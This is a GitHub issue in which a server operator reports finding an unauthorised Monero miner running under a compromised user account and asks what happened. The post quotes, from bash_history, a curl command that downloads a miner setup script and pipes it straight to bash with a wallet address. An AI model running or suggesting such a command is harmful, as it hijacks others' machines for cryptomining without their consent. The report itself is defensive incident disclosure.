You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Hello, this is not necessarily an issue but I am not sure where to post it.
So we realized a high cpu(100%) usage on our server 3 days ago and realized the Monero Miner was the process consuming the resources.
We have nothing to do with Monero and so we found it suspicious to see a process we never installed running and using up our resources.
The process was running under a specific user account and so we reviewed the bash_history and noticed a curl command that downloads a script from this repository and executes it (That is why I am posting it here).
We have confirmed no one from our team executed that command and so we suspect the user account that was used to run the command has been compromised.
Does anyone have an Idea what could be going on here?
Thanks.
The text was updated successfully, but these errors were encountered:
Hello, this is not necessarily an issue but I am not sure where to post it.
So we realized a high cpu(100%) usage on our server 3 days ago and realized the Monero Miner was the process consuming the resources.
We have nothing to do with Monero and so we found it suspicious to see a process we never installed running and using up our resources.
The process was running under a specific user account and so we reviewed the bash_history and noticed a curl command that downloads a script from this repository and executes it (That is why I am posting it here).
This is the cur command:
curl -s -L https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/setup_moneroocean_miner.sh | bash -s 41qbTDmsb6s4RiWgju3kSSNStWYY7mfyoepx4sFmw5um68MxJtnzQQw31bN1Y9hjp4jYwg2WTpeUfaGT375rNvyX4VGNw8Q
We have confirmed no one from our team executed that command and so we suspect the user account that was used to run the command has been compromised.
Does anyone have an Idea what could be going on here?
Thanks.
The text was updated successfully, but these errors were encountered: